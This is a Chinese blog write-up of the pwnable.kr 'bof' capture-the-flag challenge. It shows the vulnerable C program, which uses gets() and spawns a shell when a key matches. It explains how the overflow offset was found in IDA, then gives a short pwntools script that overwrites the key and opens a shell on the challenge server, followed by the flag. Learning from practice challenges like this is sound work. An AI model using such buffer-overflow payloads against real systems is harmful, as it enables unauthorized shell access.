码迷,mamicode.com
首页 > 其他好文 > 详细

Pwnable-bof

时间:2019-10-27 10:22:02      阅读:79      评论:0      收藏:0      [点我收藏+]

标签:send   payload   程序   system   mic   int   ret   color   rac   

Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c

 

下载之后,先看看c源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

要让key==0xcafebabe才能get shell,将源程序拖到IDA

技术图片

 gets函数存在栈溢出,要覆盖a1的值让其变成0xcafebabe,那么我们需要偏移多少才能覆盖到a1,通过IDA可以看到需要偏移0x2c+0x8个字节才能覆盖到a1

技术图片

 

 技术图片

 那么就可以构造脚本了

from pwn import *
r=remote(pwnable.kr,9000)

payload=a*(0x2c+0x8)+p32(0xcafebabe)
r.sendline(payload)

r.interactive()

获得flag

技术图片

 

daddy, I just pwned a buFFer :)

Pwnable-bof

标签:send   payload   程序   system   mic   int   ret   color   rac   

原文地址:https://www.cnblogs.com/gaonuoqi/p/11746615.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!